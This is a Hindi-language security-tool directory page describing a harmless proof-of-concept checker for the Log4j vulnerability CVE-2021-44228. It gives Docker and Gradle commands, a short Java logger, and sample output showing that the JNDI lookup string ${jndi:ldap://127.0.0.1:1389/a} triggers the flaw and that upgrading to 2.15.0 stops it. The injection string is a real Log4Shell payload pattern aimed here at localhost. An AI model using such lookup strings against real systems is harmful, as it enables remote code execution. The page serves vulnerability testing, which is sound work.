Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-44228 — भेद्यता CVE-2021-44228 जाँचकर्ता | Kitploit
उपकरण/GitHubGitHub/greymd/cve-2021-44228
भेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubgreymd/cve-2021-44228

CVE-2021-44228

भेद्यता CVE-2021-44228 जाँचकर्ता

रिपॉजिटरी देखें
35424 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-44228 जाँचकर्ता

यह रिपॉजिटरी CVE-2021-44228 कमजोरी की जाँच करने के लिए है।

यह एक PoC है जो बिना किसी बाहरी क्लास लोडिंग के केवल स्ट्रिंग्स प्रदर्शित करता है। इसका उपयोग मनमाना कोड निष्पादन के लिए नहीं किया जा सकता।

यह कैसे काम करता है?

चरण 1: सर्वर एप्लिकेशन चलाएँ

छवि ghcr.io/greymd/cve-2021-44228/server उपलब्ध है और इसे Docker पर चलाया जा सकता है।

root@kitploit:~
$ docker run -p 1389:1389 -t ghcr.io/greymd/cve-2021-44228/server

चरण 2: log4j के साथ एंडपॉइंट तक पहुँचें

log4j का उपयोग करके लॉग आउटपुट करने के लिए कोड तैयार करें और इसे उसी होस्ट पर चलाएँ। आउटपुट स्ट्रिंग ${jndi:ldap://127.0.0.1:1389/a} बनाएँ।

root@kitploit:~
package logger;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class App {
    private static final Logger logger = LogManager.getLogger(App.class);
    public static void main(String[] args) {
        logger.error("${jndi:ldap://127.0.0.1:1389/a}");
    }
}

यदि तर्क वह है जो कमजोरी पैदा करता है, तो वाक्यांश 「うんこもりもり」(जिसका अर्थ है "बहुत सारी गंदगी") सफलतापूर्वक लॉग हो जाएगा।

root@kitploit:~
17:52:24.871 [main] ERROR logger.App -
    "mm
    mmmm          "m           "mmmmm
  ""    #         m"               "
        #        m#m          m
       #        m"  #   m     "m     m
     m"        m"   "mm"        """""
   m            m   m          m            m   m
  mm#            # # "m       mm#            # # "m
   m"#"          ##   #        m"#"          ##   #
 ""#mm "m        #    #      ""#mm "m        #    #
   #    #            #         #    #            #
    "mm"           m"           "mm"           m"

यदि आप कोड लिखने और बनाने में आलसी हैं, तो आप इस रिपॉजिटरी में एक सरल लॉगर एप्लिकेशन का उपयोग कर सकते हैं। पहला तर्क लॉगर द्वारा आउटपुट किया जाएगा।

root@kitploit:~
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/logger
$ ./gradlew run --args='Hello'
︙
> Task :run
22:10:02.307 [main] ERROR logger.App - Hello

कमजोरी पैदा करने वाला तर्क देने का एक उदाहरण इस प्रकार होगा।

root@kitploit:~
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
︙
> Task :run
22:10:34.757 [main] ERROR logger.App -
    "mm
    mmmm          "m           "mmmmm
  ""    #         m"               "
        #        m#m          m
       #        m"  #   m     "m     m
     m"        m"   "mm"        """""
   m            m   m          m            m   m
  mm#            # # "m       mm#            # # "m
   m"#"          ##   #        m"#"          ##   #
 ""#mm "m        #    #      ""#mm "m        #    #
   #    #            #         #    #            #
    "mm"           m"           "mm"           m"

यदि आपके पास log4j का एक संस्करण है जो कमजोरी से प्रभावित नहीं है, या सर्वर एप्लिकेशन नहीं चल रहा है, तो स्ट्रिंग बिना किसी संशोधन के जैसी है वैसी ही आउटपुट होगी। आप नीचे दिखाए अनुसार लॉगर एप्लिकेशन के संस्करण को अपडेट करके इसकी पुष्टि कर सकते हैं।

root@kitploit:~
$ sed -i.bak s/2.14.1/2.15.0/ build.gradle
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'

> Task :run
22:12:50.913 [main] ERROR logger.App - ${jndi:ldap://127.0.0.1:1389/a}

Docker के बिना सर्वर एप्लिकेशन चलाएँ

root@kitploit:~
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/server
$ ./gradlew run
︙
Listening ...

प्रेरणा

जैसा कि मैंने उल्लेख किया (और जहाँ तक मैंने जाँच की), यह कमजोरी तब तक पुन: उत्पन्न नहीं होगी जब तक JNDI का गंतव्य सर्वर चल रहा हो। इसलिए, एक सरल PoC उपयोगी है।

संदर्भ

कार्यान्वयन में संदर्भ के लिए निम्नलिखित URL का उपयोग किया गया।

  • https://www.lunasec.io/docs/blog/log4j-zero-day/
  • https://github.com/mbechler/marshalsec
  • https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
  • https://github.com/apache/logging-log4j2/pull/608
  • https://github.com/HyCraftHD/Log4J-RCE-Proof-Of-Concept

परीक्षण किए गए संस्करण

  • OpenJDK Runtime Environment (build 1.8.0_302-b08)
  • OpenJDK Runtime Environment Corretto-11.0.12.7.1 (build 11.0.12+7-LTS)
  • OpenJDK Runtime Environment Zulu17.30+15-CA (build 17.0.1+12-LTS)
टूल डाउनलोड करें